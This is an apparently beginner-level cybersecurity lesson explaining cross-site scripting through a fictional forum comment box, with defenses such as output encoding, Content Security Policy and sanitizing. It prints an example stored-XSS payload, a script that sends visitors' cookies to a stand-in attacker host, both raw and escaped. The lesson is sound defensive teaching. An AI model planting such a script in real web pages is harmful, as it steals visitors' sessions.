Please enable JavaScript to use CodeHS

Cybersecurity Basics

What Is Cross-Site Scripting (XSS)?

Some websites take whatever you type — a comment, a review, a bio — and drop it straight onto the page for everyone else to see. Now imagine what you typed wasn't a comment at all, but a tiny program. Cross-site scripting is what happens when a website lets that program run.

Security ~10 min Beginner friendly
The Big Idea

What is cross-site scripting?

Think about any website that shows you things other people typed: a comment under a video, a star review on a product, a short bio on someone's profile, a post in a forum. Every time that page loads, the website gathers up everyone's text and inserts it into the page for you to read.

Most of the time that's completely fine — a comment like "This tutorial was awesome!" is just words. But a webpage isn't only words under the hood. It's built out of HTML and JavaScript code, and browsers are extremely literal readers: if something in the page looks like code, the browser tries to run it as code, not just display it as text.

Cross-site scripting (XSS) happens when a website takes something a visitor typed and inserts it directly into the page's code without first checking whether it's safe. If that visitor happened to type a snippet of JavaScript — the programming language browsers use to make pages interactive — instead of an ordinary comment, the browser can't tell the difference. It just runs it, exactly as if the website's own developers had written that code themselves.

Simple definition: cross-site scripting (XSS) is a security bug that lets an attacker sneak their own code into a trusted website, so the browser runs it for other visitors as if the website itself had written it.

The name explains where the danger actually lands. The attacker's script doesn't run on the attacker's own computer — that would be pointless. It runs across a legitimate, trusted site, inside the browser of every other visitor who happens to load that page. That's what makes XSS so different from an attacker just messing with their own machine: one small bug in one website's code can quietly affect thousands of completely innocent people who never did anything wrong.


How It Works

A comment box that trusts too much

Imagine a fictional site called PuppyForum.example. It has a comment box under every post, and — this is the important part — whatever you type gets inserted directly into the page's HTML, exactly as you typed it, with no changes at all.

Here's what that looks like when someone posts a normal comment, next to what happens when someone posts a script instead:

puppyforum.example — unsafe comment feed
<!-- Comment #1: an ordinary visitor comment -->
<div class="comment">Cute puppy! What breed is he?</div>

<!-- Comment #2: someone posted this instead -->
<div class="comment"><script>fetch("https://attacker-example.com/steal?cookie=" + document.cookie)</script></div>
What the browser does
Comment #1 just displays as text. No surprises.

Comment #2's <script> tag isn't displayed at all — it's executed.
The instant this page loads, every visitor's browser quietly sends their
own private cookie to attacker-example.com. Nobody has to click anything.

Now compare that to a website that escapes user input before inserting it — swapping characters like < and > for safe stand-ins before they ever reach the page:

puppyforum.example — safe comment feed (escaped)
<!-- The exact same comment #2, escaped before inserting -->
<div class="comment">&lt;script&gt;fetch("https://attacker-example.com/steal?cookie=" + document.cookie)&lt;/script&gt;</div>
What the browser does
The browser sees &lt; and &gt; as plain characters, not the start of a
real tag. So it prints the whole thing on screen exactly as typed:

  <script>fetch("https://attacker-example.com/steal?cookie=" + document.cookie)</script>

as one weird-looking comment. No code runs. No cookie goes anywhere.

Notice what's really scary about the unsafe version: it doesn't just affect the person who posted the comment. The moment any visitor loads that page, their browser runs the script and ships their cookie off to the attacker. The attacker never has to trick anyone into clicking a link — they just have to wait for people to view the page normally.


Interactive

Try it yourself: attack a comment box

Below is a mock comment section for PuppyForum.example. Switch between an Unsafe site (inserts your comment raw, exactly like the code above) and a Safe site (escapes it first), then try posting one of the example payloads — or type your own — and see how each version handles it.

Good to know: this demo never actually runs any code you type. When the "unsafe" mode detects a script-like payload, it safely simulates what a real browser would do — a fake alert box, a "cookie stolen" banner — instead of really executing it.

Try it:
puppyforum.example/thread/42 ⚠️ Does not escape input

🐶 Post your puppy pics!

This version inserts your comment straight into the page. Try one of the payloads above.

Toggle back and forth between the two modes without changing your comments — the exact same text gets treated completely differently depending on whether the site escapes it.


Why It Matters

Why XSS is dangerous

An alert box popping up is annoying but harmless — real attackers don't want you to notice anything happened. XSS is dangerous because of what it can quietly do instead:

Hijacking your session

Many websites keep you logged in using a small piece of data called a session cookie. If a script can read that cookie and send it to an attacker, they can pretend to be you — no password needed.

Defacing the page

An injected script can rewrite what's on the page for every single visitor who loads it — swapping in different text, images, or links without touching the real website's files.

Spreading itself

Some XSS attacks are worm-like: the injected script's whole job is to post more copies of itself as new comments, so everyone who views an infected page gets infected too — and spreads it further.

Phishing from a trusted page

A script can pop up a fake "your session expired, log in again" box right inside a site people already trust — making the scam far more convincing than a random email ever could be.


Fighting Back

How developers defend against XSS

Just like the "unsafe" vs. "safe" toggle you tried above, real defenses come down to never trusting input exactly as it arrives:

Output encoding (the core fix)

Before showing anything a visitor typed, swap dangerous characters like < and > for safe stand-ins so the browser displays them as text, never runs them as code.

Content Security Policy

A CSP header tells the browser "only run scripts from these approved sources." Even if a malicious script sneaks onto the page, a good policy makes the browser refuse to run it.

Sanitizing rich text

Sites that let people format text — bold, links, images — run that input through a sanitizer that keeps the safe tags and strips out anything like <script>.

The bigger pattern: trusting user input without checking it first is the root cause behind most web security bugs, not just XSS. It's the same idea behind SQL injection — a database version of the exact same mistake. In both cases, the fix starts the same way: never assume what a visitor typed is safe to use as-is.


Your Turn

Check your understanding

Why does escaping the < and > characters (turning them into &lt; and &gt;) stop a script tag from actually running?

Your answer:

Sample answer: a browser decides something is a real HTML tag, like <script>, specifically because it starts with a literal < character. If a website replaces that character with the text &lt; before inserting it into the page, the browser no longer sees the start of a tag at all — it just sees the four ordinary characters "&lt;", which it displays on screen as the harmless text "<". Since the browser never recognizes <script> as an actual tag, it never creates a script element, and no code ever runs — visitors just see a weird-looking comment instead of an attack.


Check Yourself

Quick quiz

1. What actually makes a website vulnerable to XSS?

2. In "cross-site scripting," what does "cross-site" refer to?

3. Which of these is the core defense against XSS?

Keep learning about cybersecurity

You've now seen how trusting a visitor's input, without checking it, can let an attacker's code run inside someone else's browser. Next, see what happens when that same "never trust input" mistake shows up in a database instead of a webpage.

Part of the Cybersecurity Basics tutorial series.